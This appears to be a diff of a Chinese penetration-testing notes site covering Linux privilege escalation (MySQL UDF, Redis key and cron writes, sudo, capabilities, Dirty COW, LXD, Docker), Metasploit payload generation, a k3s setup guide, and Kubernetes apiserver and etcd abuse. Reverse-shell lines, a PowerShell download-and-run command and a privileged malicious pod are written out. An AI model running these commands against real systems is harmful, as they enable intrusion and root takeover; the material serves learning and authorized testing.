  3. 目标MySQL服务器允许加载外部自定义函数,没有限制或禁止该功能。
  4. +
  5. 操作系统层面对MySQL进程的权限限制不严格,数据库进程用户有权限加载并执行共享库文件。
  6. +
+

攻击步骤:

+
    +
  1. 攻击者准备恶意UDF模块文件(如lib_mysqludf_sys.so),通过wget或其他方式上传到服务器的临时目录(如/tmp)。
  2. +
  3. 登录MySQL,查询插件目录位置:
  4. +
+
SELECT @@plugin_dir;
+
    +
  1. 先将恶意库文件转为16进制格式(比如用 xxd -p lib_mysqludf_sys.so),然后拆分成合适大小的片段。
  2. +
+
xxd -p lib_mysqludf_sys.so
+
    +
  1. 使用MySQL的FILE权限,将上传的.so文件写入插件目录:
  2. +
+
SELECT UNHEX('7f454c4602010100000000000000000002003e0001000000b0404000000000004000000000000000000000000') 
INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
+
    +
  1. 加载恶意共享库为MySQL自定义函数:
  2. +
+
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
+
    +
  1. 调用自定义函数执行系统命令,实现提权:
  2. +
+
SELECT sys_exec('chmod +s /bin/bash');
+
    +
  1. 利用获得Set-UID权限的shell:
  2. +
+
/bin/bash -p
+

即可获得root权限的shell。

+

Redis 提权​

+

Redis 默认运行在 root 权限或高权限用户下,若目标 Redis 开启未授权访问,且允许写文件,则可写入 SSH 公钥、写 cron 计划任务、写入反弹 shell,最终实现本地提权或远程控制。

+
+

一、前提条件

+
    +
  1. Redis 无需认证(或攻击者已获得 Redis 密码);
  2. +
  3. Redis 服务运行用户权限较高(如 root);
  4. +
  5. Redis 配置允许外部连接;
  6. +
  7. Redis 可执行 CONFIG SET 写入目录和文件(通常未禁用);
  8. +
  9. 目标主机允许访问 Redis 端口(默认 6379);
  10. +
  11. 可控制 Redis 的写入路径(如 /root/.ssh/authorized_keys 或 /var/spool/cron/root 等);
  12. +
+
+

二、攻击原理

+

Redis 支持通过 CONFIG SET 修改数据目录 dir 和数据库文件名 dbfilename,并可通过 SAVE 命令将当前内存中的数据写入磁盘。攻击者将恶意内容写入键值对后,再通过 SAVE 将这些内容以文件形式写入目标目录,实现任意文件写入。

+
+

三、常见利用方式

+

✅ 写入 SSH 公钥(提权到 root)

+

步骤:

+
# 生成密钥对
ssh-keygen -t rsa -f redis_key

# 连接 Redis
redis-cli -h target_ip

# 写入公钥内容为值(需换行)
set backup "\n\nssh-rsa AAAAB3Nza...你的公钥...== attacker@kali\n\n"

# 设置目标路径
config set dir /root/.ssh/
config set dbfilename "authorized_keys"

# 写入磁盘
save
+

然后即可通过私钥 SSH 登录目标主机,获得 root shell:

+
ssh -i redis_key root@target_ip
+
+

✅ 写入 Cron Job(执行反弹 shell)

+
# 写一个反弹 shell 到 Redis
set backup "\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/yourip/port 0>&1'\n"

# 修改目录
config set dir /var/spool/cron/
config set dbfilename root

# 执行写入
save
+

监听端口:

+
nc -lvvp port
+

一分钟后目标机器自动连接回来。

+

Capabilities 提权​

+

在 Linux 中,传统上只有 root 用户才能执行某些受限操作,如监听低端口、加载内核模块、执行挂载等。为细化权限控制,Linux 引入了 Capabilities(能力位) 概念,把原本 root 独有的权限拆分为若干小能力位,允许非 root 用户在保留最小权限的前提下执行特定操作。

+

攻击者若能发现某个二进制程序具备特殊 Capabilities(尤其是具备 cap_setuid, cap_setgid, cap_sys_admin 等),就可能通过它间接提权为 root。

+
+

查看 Capabilities

+

使用 getcap 命令可查看系统中具有 Capabilities 的可执行文件:

+
getcap -r / 2>/dev/null
+

输出示例:

+
/usr/bin/python3.11 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
+

说明 /usr/bin/python3.11 具有 cap_setuid 权限,可以设置用户UID。

+
+

关键 Capabilities 权限位说明

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Capabilities含义
cap_setuid允许进程更改其有效 UID(可用于提权)
cap_setgid允许更改 GID
cap_sys_admin类似 root 权限,可挂载、修改系统配置等
cap_dac_override绕过文件权限检查(类似 root 可读写任意文件)
cap_net_bind_service监听 1024 以下端口
+
+

提权利用场景(案例)

+

利用带有 cap_setuid+ep 的二进制提权

+

如果攻击者发现某程序(如 Python)具有 cap_setuid+ep 权限,可以创建一个 SUID shell,从而提权。

+

利用步骤:

+
# 检查是否具有 cap_setuid
getcap /usr/bin/python3.11
# 输出应为: /usr/bin/python3.11 = cap_setuid+ep

# 编写 Python 提权代码
/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'
+

此时,攻击者将获得 root shell。

+
+

利用 cap_dac_override 绕过权限限制读取文件

+
# 若某二进制具有 cap_dac_override,可读取任意权限文件
/usr/bin/cat /etc/shadow
+
+

利用自编程程序执行提权

+

攻击者可将任意二进制设置 cap 权限(如 cap_setuid),实现提权:

+
# 生成一个C程序
cat > suid_shell.c <<EOF
#include <unistd.h>
int main() {
setuid(0); system("/bin/bash");
return 0;
}
EOF

# 编译
gcc suid_shell.c -o suid_shell

# 赋予cap_setuid
sudo setcap cap_setuid+ep ./suid_shell

# 执行即提权
./suid_shell
+
+

Sudo 提权​

+

sudo 提权 是指当用户可以通过 sudo 执行某些命令时,利用该命令的特性执行任意命令或逃逸到交互式 shell,从而提权为 root。关键点在于 sudo -l 列出的命令是否存在可利用点。

+

例如,当用户可执行如下命令时:

+
sudo vim
+

可以在 vim 中输入:

+
:!bash
+

即可弹出 root shell。

+

又如用户能执行 sudo less,也可以输入:

+
!bash
+

或当能执行 sudo python 时,直接输入:

+
import os
os.system("/bin/bash")
+

若能执行 sudo find,则可执行:

+
sudo find . -exec /bin/bash \;
+

例如sudo awk

+
ubuntu@VM-4-13-ubuntu:/$ sudo awk 'BEGIN {system("/bin/sh")}'
# whoami
root
#
+

若能执行 sudo cp 或其他文件操作命令,也可以用它们覆盖敏感文件如 /etc/sudoers 或 /etc/passwd,配合前述方法完成提权。

+

内核 提权​

+

内核提权 是通过利用 Linux 内核中的已知漏洞,运行本地漏洞利用代码(exploit)实现权限提升。常用方式是先用 uname -r 获取内核版本,再用 searchsploit 查找对应漏洞利用工具,最后下载编译执行完成提权。

+

操作示例:

+
uname -r
searchsploit linux kernel 5.4.0
+

假设搜索结果里出现了经典的 Dirty COW 漏洞利用(编号 44110),你可以:

+
searchsploit -m 44110
gcc 44110.c -o dirtycow
./dirtycow
+

执行后,若漏洞存在,程序会帮你将权限提升为 root。

+

类似的,还有 overlayfs、run_pipe等漏洞,也能用 searchsploit 找到对应代码,通过编译运行实现提权。

+
+

这种利用内核漏洞提权的方式适合目标系统内核版本较老,且未打补丁的场景,提权成功后可以拿到完整 root 权限。

+

脏牛 提权(CVE-2016-5195)​

+

脏牛是一个非常经典的内核提权漏洞,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复影响范围:Linux kernel>2.6.22 (released in 2007)的所有Linux系统,且低于以下版本:

+
Centos7/RHEL7     3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

+

linux内核的内存子系统在处理私有映射时的写时复制(copy on write,COW)的中断方式里创建了条件竞争,该条件竞争可能运行非特权用户获得对只读内存映射的写入权限。写时复制是一种内存管理的优化技术,用于在多个进程共享同一个内存页的情况下避免内存冲突。当一个进程试图修改一个内存页时,操作系统会自动复制这个内存页,而不会受到当前进程修改的影响

+

利用方式

+

默认情况下,低权限会话是无法修改高权限文件,比如 /etc/passwd、/etc/shadow、/etc/group 等。脏牛漏洞的利用方式是:首先使用 mmap 函数申请虚拟内存,在虚拟内存上找到一个页面创建私有映射(以 /etc/group 为例)。由于此映射是私有的,因此可以随意对文件写入修改而不会影响原文件,然后向私有映射文件中写入内容,将当前用户添加至 sudo 组,但不是直接向 mmap 申请的虚拟映射中写入内容,而是向 Linux 中的一个特殊文件 /proc/self/mem 中写入。

+

mmap 函数是用来创建内存映射的函数。通过内存映射,可以将一段文件或其他对象映射到进程的地址空间,从而可以直接访问该对象。

+

proc/self/mem 文件是 Linux 的一个特殊文件,它允许程序直接访问当前进程的虚拟内存空间。通过读写 /proc/self/mem 文件,可以直接在虚拟内存中修改指定内存位置的数据。

+

写入 /proc/self/mem 完成后,内核需要在物理内存上寻找写入的位置,此时还未开始写入。并行运行两个线程,第一个线程的功能是写入物理内存,它包括两个操作,分别是定位到物理内存和写入物理内存。在定位物理内存位置时,内核发现物理内存中已经有了一个 /etc/group 文件,这时触发写时复制,内核准备在物理内存中找到位置创建私有映射的副本,然后写入。在写入之前,运行第二个线程,其功能是调用 madvise 函数,通知内核不再需要(MADV_DONTNEED)私有映射。这样,内核就有可能会被欺骗,认为程序写入的是原始文件。通过无限循环这两个线程,就有可能完成竞争条件,成功地写入原始文件

+

案例

+

首先下载exp,由于装了git,这里就直接clone了

+
git clone https://github.com/gbonacini/CVE-2016-5195.git
# 进入目录make生成可执行文件
cd CVE-2016-5195 && make
# 执行make好的文件,即可自动完成利用并提权
./dcow -s

+

Polkit 提权(CVE-2021-4034)​

+

polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令polkit 提供了一个授权 API,供特权程序(“ MECHANISMS ” )使用,通常通过某种形式的进程间通信机制为非特权程序( “ SUBJECTS ”)提供服务。在这种情况下,该机制通常将主体视为不受信任。对于来自主体的每个请求,该机制需要确定该请求是否被授权,或者它是否应该拒绝为主体提供服务。使用 polkit API,一种机制可以将此决定转交给受信任的一方:polkit 权威。polkit 权限被实现为系统守护进程 polkitd (8),它本身没有什么特权,因为它以 polkitd系统用户身份运行。机制、主体和认证代理使用系统消息总线与授权机构进行通信。除了作为授权之外,polkit 还允许用户通过验证管理用户或客户端所属会话的所有者来获得临时授权。这对于机制需要验证系统的操作员确实是用户还是管理用户的场景很有用漏洞点逻辑:执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中

+

计划任务 提权​

+

**定时任务(cron job)**可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。常用命令如下:

+
    +
  • crontab -e 编辑计划任务
  • +
  • crontab -l 查看计划任务
  • +
  • crontab -r 删除目前的crontab
  • +
+

计划任务提权 是通过滥用系统中的定时任务(cron)来实现权限提升。若某些定时任务脚本由 root 用户运行,但其脚本路径或调用的二进制文件可被低权限用户修改,就可以插入恶意命令,等定时任务触发后以 root 权限执行,从而完成提权。

+

常见利用场景是 /etc/crontab 或 /etc/cron.d/* 中有如下内容:

+
* * * * * root /usr/local/bin/backup.sh
+

如果当前用户可以修改 /usr/local/bin/backup.sh,就可以写入如下内容:

+
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
+

等待 cron 自动执行后,即可使用:

+
/tmp/rootbash -p
+

获得 root shell。

+

这种提权方式通常需要结合:

+
find / -writable -type f 2>/dev/null
+

等命令寻找可写脚本,或使用 pspy 工具监听定时任务执行行为,是实战中非常常见的一种提权手段。

+

Docker 提权​

+

Docker 容器内逃逸提权 是指攻击者在容器内,通过利用宿主机与容器之间的接口或权限配置缺陷,从容器中突破隔离限制,获得宿主机权限。

+

常见逃逸方式如下:

+
    +
  • +

    挂载宿主机文件系统的容器(如 / 挂到容器中): +容器内可执行: +chroot /mnt +就可以访问宿主机的根目录。

    +
  • +
  • +

    /var/run/docker.sock 挂载到容器中: +攻击者可以通过 docker API 操作宿主机容器,创建挂载了 / 的新容器,从而实现宿主机 root 提权。

    +
  • +
  • +

    具有 CAP_SYS_ADMIN 等高权限的容器: +如果容器运行时加了 --cap-add=ALL 或 --privileged,即可利用内核接口(如挂载、加载模块)进行提权或逃逸。

    +
  • +
+
docker run --rm -it --privileged alpine
mount -t proc proc /proc
chroot /host
+
    +
  • 利用已知内核逃逸漏洞: +如果宿主机内核存在漏洞(如 Dirty COW、overlayfs),容器内可用本地提权 exploit 实现宿主机提权。
  • +
+

K8s 提权(CVE-2018-1002105)​

+

LXD 提权​

+

LXD(Linux Container Daemon)是一个用于管理 Linux 容器的工具。在默认配置或管理不当的情况下,攻击者可以利用 LXD 进行本地提权(Local Privilege Escalation),获取宿主机的 root 权限。

+
+

LXD 提权原理

+
    +
  • +

    (1)核心问题:特权容器(Privileged Containers):LXD 允许用户创建特权容器(security.privileged=true),这类容器会绕过 Linux 的用户命名空间隔离(User Namespace),导致容器内的 root 用户等同于宿主机的 root 用户。

    +
  • +
  • +

    (2)关键条件:当前用户在 lxd 用户组 / LXD 服务未正确配置安全策略(允许普通用户创建特权容器)

    +
  • +
  • +

    提权路径

    +
  • +
+
    +
  1. 用户通过 lxd 组权限与 LXD 守护进程通信
  2. +
  3. 创建特权容器并挂载宿主机文件系统
  4. +
  5. 在容器内修改宿主机敏感文件(如 /etc/passwd、/etc/shadow)或写入 SSH 密钥
  6. +
  7. 获得宿主机 root 权限
  8. +
+
+

实际提权案例演示

+
    +
  • 步骤 1:检查当前用户是否在 lxd 组
  • +
+
id
+

如果输出包含 lxd,则存在提权可能:

+
uid=1001(test) gid=1001(test) groups=1001(test),108(lxd)
+
    +
  • 步骤 2:创建特权容器并挂载宿主机 / 目录
  • +
+
# 初始化一个特权容器(使用Ubuntu镜像)
lxc init ubuntu:22.04 privesc -c security.privileged=true

# 将宿主机的根目录`/`挂载到容器的`/mnt/root`
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# 启动容器
lxc start privesc

# 进入容器shell
lxc exec privesc bash
+
    +
  • 步骤 3:在容器内修改宿主机文件
  • +
+

容器的 /mnt/root 就是宿主机的 /,可以直接修改关键文件:

+

方法 1:直接修改 /etc/passwd,添加 root 权限用户

+
echo "hacker::0:0::/root:/bin/bash" >> /mnt/root/etc/passwd
+

然后,在宿主机上切换到 hacker 用户即可获得 root:

+
su hacker
+

方法 2:写入 SSH 公钥到 /root/.ssh/authorized_keys

+
mkdir -p /mnt/root/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /mnt/root/root/.ssh/authorized_keys
+

然后,直接 SSH 登录宿主机的 root 用户:

+
ssh root@localhost
+

方法 3:修改 /etc/sudoers 让当前用户免密提权

+
echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /mnt/root/etc/sudoers
+

然后,在宿主机上执行 sudo su 即可获得 root。

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/MSF提权/index.html b/docs/个人知识库/渗透测试/内网渗透/MSF提权/index.html new file mode 100644 index 0000000..aa4b0e5 --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/MSF提权/index.html @@ -0,0 +1,83 @@ + + + + + +MSF提权 | wjlin0 + + + + + + + +

MSF提权

作者修订时间
wjlin02025-08-19 16:44:37
+

msf-般会有四种接口对外提供, msfconsole、 msfc、 msfgui以及 msfet,我们主要以 msfconsole来做讲解与演示。

+

1.msfconsole 基本使用命令​

+

启动: msfconsole

+

img

+

使用指南:help

+

img

+

基础命令

+
search ms17 #查找

use exploit/multi/handler #使用

info #查看信息

show exploits/payloads/options #显示可用信息

set options/payload #给相关对象赋值

exploit/run #执行

exploit #后台运行

back #返回上一级

sessions -i #查看当前可用会话

sessions -K #杀死所有活跃会话
+

2.模块​

+

exploit​

+

利用程序,针对漏洞、权限进行利用,是主要使用的模块

+

img

+

payload​

+

用于在目标系统中运行任意命令或者执行特定代码,主要用于shell获取

+

img

+

auxiliary​

+

该模块包含了扫描、嗅探、指纹识别、网络协议欺骗等相关功能模块

+

img

+

encode​

+

r该模块主要针对 exploit模块进行代码免杀,以逃过杀毒软件、防火墙、ids等安全防护机制的检测

+

img

+

3.实战 ms16-032提权​

+

1.查看当前权限、版本、ip等,发现是一个win7专业权限很低的用户​

+

img

+

img

+

img

+

2.远程加载sherlock查看当前版本漏洞信息并导入一个1.txt文件中​

+

powershell -nop -exec -bypass -c "IEX (New-Object Net.Webclient).DownloadString('http://192.168.10.100/Sherlock.ps1'); Find-Allvulns" >1.txt

+

powershell -nop -exec -bypass -c "Import-Module Sherlock.ps1; Find-Allvulns" >1.txt

+

img

+

执行完成并返回一个1.txt,查看漏洞信息

+

img

+

发现版本是64位的暂不支持漏洞

+

3.我们使用msf做一个木马程序​

+

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.119.130 LPORT=4444 -f exe > 1.exe

+

参数说明:

+
    +
  1. -p payload
  2. +
  3. -e 编码方式
  4. +
  5. -i 编码次数
  6. +
  7. -b 在生成的程序中避免出现的值
  8. +
  9. LHOST,LPORT 监听上线的主机IP和端口
  10. +
  11. -f exe 生成EXE格式
  12. +
+

设置本地监听

+

msf6 > use exploit/multi/handler

+

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

+

img

+

上传之靶机web 运行 这里我们 ip 端口4443 设置错了 重新改一下 192.168.119.130:4443

+

前面的 exe文件也要重新生成

+

执行

+

img

+

查看一下权限 没问题版本权限很低

+

img

+

还是使用sherlock 查看 漏洞

+

powershell -exec -bypass -c "sherlock.ps1; Find-Allvulns" >2.txt

+

img

+

img

+

选择一个当前版本的漏洞使用

+

这里演示MS16_032的漏洞

+

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

+

设置payload session LHOST LPORT

+

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set payload windows/meterpreter/reverse_tcp

+

img

+

img

+

运行即可获得shell

+

img

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/k3s安装/index.html b/docs/个人知识库/渗透测试/内网渗透/k3s安装/index.html new file mode 100644 index 0000000..aa389a7 --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/k3s安装/index.html @@ -0,0 +1,110 @@ + + + + + +k3s安装 | wjlin0 + + + + + + + +

k3s安装

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:34:06
+

单云部署k3s

+

安装k3s​

+

由于默认k3s安装会安装traefik,而我用惯了ingress-nginx所以就移除了traefik的安装

+
# k3s v1.25+ 之后 flag –no-deploy 弃用,更改为 –disable,但安装前需要确认 rancher 支持的 k3s 版本范围,目前 v1.25+ 不在 rancher 支持范围内,需要使用环境变量 INSTALL_K3S_VERSION 指定安装版本
export INSTALL_K3S_EXEC="server --disable traefik"
+
curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_MIRROR=cn sh -
sudo cp /etc/rancher/k3s/k3s.yaml $HOME/.kube/config
+

基于helm安装ingress-nginx​

+

安装helm

+
wget https://get.helm.sh/helm-v3.14.3-linux-amd64.tar.gz && tar -zxvf helm-v3.14.3-linux-amd64.tar.gz -C /tmp && mv /tmp/linux-amd64/helm /usr/local/bin/ && chmod +x /usr/local/bin/helm
+

添加ingress-nginx 官方仓库

+
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm repo update
+

获取 ingress-nginx

+
helm pull ingress-nginx/ingress-nginx
tar -zxvf ingress-nginx-4.10.0.tgz && rm ingress-nginx-4.10.0.tgz # 注意您下的版本进行解压
cd ingress-nginx
+

修改国内镜像地址

+

修改controller的镜像地址

+

image-20240314125144515

+

无hostNetwork 修改

+
default:
.....
externalTrafficPolicy: "Local"
+

image-20240314185220229

+

多云部署k3s

+

WireGuard组网(内网隧道搭建)​

+
+

[!Tip]

+

由于买的国内厂商打折服务器,大部分情况下都无法在同一家厂商买到多台优惠服务器,此时想搭建 K3S 集群就需要走公网,直接通过K3S 的安装方式节点之间无法通信,因此需要使用 WireGuard来组网。

+
+

前提​

+

在搭建跨云的 k3s 集群前,需要先把 WireGuard 安装好,WireGuard 对内核有要求,要升级到 5.15.2-1.el7.elrepo.x86_64以上

+

并且开启IP转发

+
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf

echo "net.ipv4.conf.all.proxy_arp = 1" >> /etc/sysctl.conf

sysctl -p /etc/sysctl.conf
+

修改主机名称

+
hostnamectl  set-hostname k3s-xxx
+

安装​

+

安装 WireGuard

+
apt install wireguard
+

在所有主机上使用一下命令生成,公私钥(用于内网加密通讯使用)

+
wg genkey | tee privatekey | wg pubkey > publickey
+

密钥是配置到本机的,而公钥是配置到其它机器里的,结果示例如下:

+
cat privatekey publickey
EMWcI01iqM4zkb7xfbaaxxxxxxxxDo2GJUA=
0ay8WfGOIHndWklSIVBqrsp5LDWxxxxxxxxxxxxxxQ=
+
然后编写配置文件,以供 wg-quick 使用

vim /etc/wireguard/wg0.conf
然后写入如下内容

[Interface]
PrivateKey = EMWcI01iqM4zkb7xfbaaxxxxxxxxDo2GJUA= #(本机生成的私钥)
Address = 192.168.2.1
ListenPort = 5418

[Peer]
PublicKey = Node-1服务器的 publickey后续Node-1生成后再改
EndPoint = (Node-1公网IP):5418
AllowedIPs = 192.168.2.2(Node-1内网IP)/32
[Peer]
PublicKey = Node-2服务器的 publickey后续Node-2生成后再改
EndPoint = (Node-2公网IP):5418
AllowedIPs = 192.168.2.3(Node-2内网IP)/32

+

同理其他节点均使用这个

+

部署​

+
wg-quick up wg0
+

自动化配置​

+

系统重启后,WireGuard 创建的网卡设备就会丢失,WireGuard提供了自动化的脚本来解决这件事,在两台服务器都执行如下操作

+
systemctl enable wg-quick@wg0
+

使用上述命令生成 systemd 守护脚本,开机会自动运行 up 指令。

+

配置热重载​

+

wg-quick 并未提供重载相关的指令,但是提供了 strip 指令,可以将 conf 文件转换为 wg 指令可以识别的格式。

+
wg syncconf wg0 <(wg-quick strip wg0)
+

即可实现热重载。

+

完成 WireGuard 的安装配置以后,接下来就可以安装 k3s 的集群了。

+

部署server​

+
+

修改对应的外部ip $SERVER_IP -> 101.43.95.147 ,$SERVER_VIRTUAL_IP=192.168.2.1

+
+
curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh |  INSTALL_K3S_EXEC="server --disable traefik" INSTALL_K3S_MIRROR=cn K3S_TOKEN=token_1 sh -s - --node-ip "$SERVER_VIRTUAL_IP" --node-external-ip="$SERVER_IP"   --flannel-backend=wireguard-native   --flannel-external-ip --flannel-iface wg0
+

部署agent​

+
+

修改对应的外部ip $AGENT_IP -> xx.xx.xx.xx $AGENT_VIRTUAL_IP

+
+
curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh |  K3S_URL=https://101.43.95.147:6443 INSTALL_K3S_MIRROR=cn K3S_TOKEN=token_1 sh -s - --node-external-ip="$AGENT_IP"  --node-ip $AGENT_VIRTUAL_IP --flannel-iface wg0
+

安装ingres-nginx​

+
+

安装方式与k8s保持一致

+
+
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm repo update
helm pull ingress-nginx/ingress-nginx
tar -zxvf ingress-nginx-4.10.0.tgz && rm ingress-nginx-4.10.0.tgz # 注意您下的版本进行解压
cd ingress-nginx
vim values.yaml
+
+

修改国内镜像地址

+
+

image-20240315095558135

+

image-20240315095625640

+

修改hostNetwork

+

image-20240315095709258

+

修改dnsPolicy

+

image-20240315095733235

+
helm install -n ingress-nginx ingress-nginx/ingress-nginx .
+

Referer

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/kubernetes/index.html b/docs/个人知识库/渗透测试/内网渗透/kubernetes/index.html new file mode 100644 index 0000000..1b317a6 --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/kubernetes/index.html @@ -0,0 +1,30 @@ + + + + + +内网渗透 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer/index.html b/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer/index.html new file mode 100644 index 0000000..fd68048 --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer/index.html @@ -0,0 +1,68 @@ + + + + + +Apiserver | wjlin0 + + + + + + + +

Apiserver

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:33:30
+

API 服务器是 Kubernetes 控制平面的组件, 该组件负责公开了 Kubernetes API,负责处理接受请求的工作。 API 服务器是 Kubernetes 控制平面的前端。Kubernetes API 服务器的主要实现是 kube-apiserver。 kube-apiserver 设计上考虑了水平扩缩,也就是说,它可通过部署多个实例来进行扩缩。 你可以运行 kube-apiserver 的多个实例,并在这些实例之间平衡流量。

+

以上是k8s官方对apiserver的解释,我们可以看到 apiserver 其实就是为了统一方便管理。 部署过k8s都知道调用apiserver的命令行工具就是kubectl,例如在主机执行 kubectl get pods -A

+

image-20230707223132174

+

其实就是可以理解为 调用 api /api/v1/pods/

+

image-20230707223255087

+

在 kube-apiserver 的 启动参数目前官方文档中没有对这个参数的解释了中 存在两个参数 insecure、insecure-bind-address 该参数可将未授权的端口暴露出来

+
kube-apiserver --h
+

image-20230707234104496

+

或者管理员配置了匿名访问,例如

+
[root@k8s-master01 k8s.yaml]# cat rbac.yaml 
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-access
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: Group
name: system:unauthenticated
[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml
+

kubectl利用​

+

安装 kubectl

+
curl -LO https://dl.k8s.io/release/v1.18.5/bin/linux/amd64/kubectl # 安装指定版本
curl.exe -LO "https://dl.k8s.io/release/v1.18.5/bin/windows/amd64/kubectl.exe" # windows
+

制作恶意容器``shell.yaml`

+
# shell.yaml
apiVersion: v1
kind: Pod
metadata:
name: shell-pod
# namespace: nginx # 不指定则为默认空间 default
spec:
containers:
- name: my-container # 容器名称
image: nginx # 镜像
command: ["tail", "-f", "/dev/null"] # 不关闭进程
securityContext:
privileged: true # 特权模式
volumeMounts: # 挂载数据卷 / -> /hosts
- name: root-volume
mountPath: /hosts
volumes:
- name: root-volume
hostPath:
path: /
nodeName: k8s-master01 # 选择宿主机 可以不选择 保持默认
+

启动、并查看

+
kubectl -s http://192.168.3.200:8080 apply -f shell.yaml
kubectl -s http://192.168.3.200:8080 get po -A
+

image-20230707230304985

+

进入容器

+
kubectl -s http://192.168.3.200:8080 exec -it <容器名称> -n <命名空间> -- bash 
root@shell-pod:/# whoami
+

image-20230707230045674

+

Api 利用​

+

制作恶意容器文件

+
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "re-shell-pod"
},
"spec": {
"containers": [
{
"name": "re-shell-pod",
"image": "nginx",
"command": ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.3.1/8888 0>&1"],
"securityContext": {
"privileged": true
},
"volumeMounts": [
{
"name": "root-volume",
"mountPath": "/hosts"
}
]
}
],
"volumes": [
{
"name": "root-volume",
"hostPath": {
"path": "/"
}
}
],
"nodeName": "k8s-master01"
}
}
+

新建恶意容器

+
curl -X POST -H "Content-Type: application/json" --data-binary "@re-shell.json" http://192.168.3.200:8080/api/v1/namespaces/<命名空间>/pods
+

image-20230707231610327

+

查看状态

+
curl http://192.168.3.200:8080/api/v1/namespaces/default/pods/re-shell-pod/status
+

image-20230707232122633

+

监听反弹shell端口

+

image-20230707232204596

+

结论​

+

​ 对于这类利用仅仅在于 apiserver 未配置认证的清空下,而目前的环境不太可能将不安全的端口爆破出来,而且最新版本也对这两个参数也没有再解释很难去利用未授权

+
+

更多利用方式看官方文档即可 Kubernetes API

+
+

​

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd/index.html b/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd/index.html new file mode 100644 index 0000000..3ab407e --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd/index.html @@ -0,0 +1,49 @@ + + + + + +etcd | wjlin0 + + + + + + + +

etcd

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:33:16
+

etcd 是一种分布式键值存储,提供了一种可靠的方式来管理分布式系统的协调状态。etcd 于 2013 年 6 月由 CoreOS(自 2018 年起成为 Red Hat 的一部分)首次发布。自 2014 年在 Kubernetes 中采用以来,etcd 已成为 Kubernetes 集群管理软件设计的基本组成部分,并且 etcd 社区呈指数级增长。etcd 目前已在多家公司的生产环境中使用,包括 AWS、Google Cloud Platform、Azure 等大型云提供商环境以及其他本地 Kubernetes 实施。

+

再 kubernetes 中,默认使用etcd v3 来存储数据,如果我们能够控制etcd服务, 也就拥有了整个集群的控制权

+
CTL_ENDPOINTS="http://192.168.3.105:2379/"
etcdctl getexport ETCDCTL_API=3
export ETCD
CTL_ENDPOINTS="http://192.168.3.105:2379/"
etcdctl get / --prefix --keys-only
+

image-20230708004633573

+

利用​

+

etcd 也存在 api 和 命令行两种模式,这里以 etcdctl 利用为主

+

以下结果即存在未授权

+
curl http://192.168.3.105:2379/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}
# 或者
curl http://192.168.3.105:2380/version # -> {"etcdserver":"3.4.3","etcdcluster":"3.4.0"}
+

那么可以通过etcdctl 命令行工具运行查询token键

+
curl -LO https://github.com/etcd-io/etcd/releases/download/v3.5.9/etcd-v3.5.9-linux-amd64.tar.gz 
tar xvf etcd-v3.5.9-linux-amd64.tar.gz && ln -s ./etcd-v3.5.9-linux-amd64/etcdctl /usr/bin/etcdctl
etcdctl -h
+

image-20230708005803211

+

获取所有带token键

+
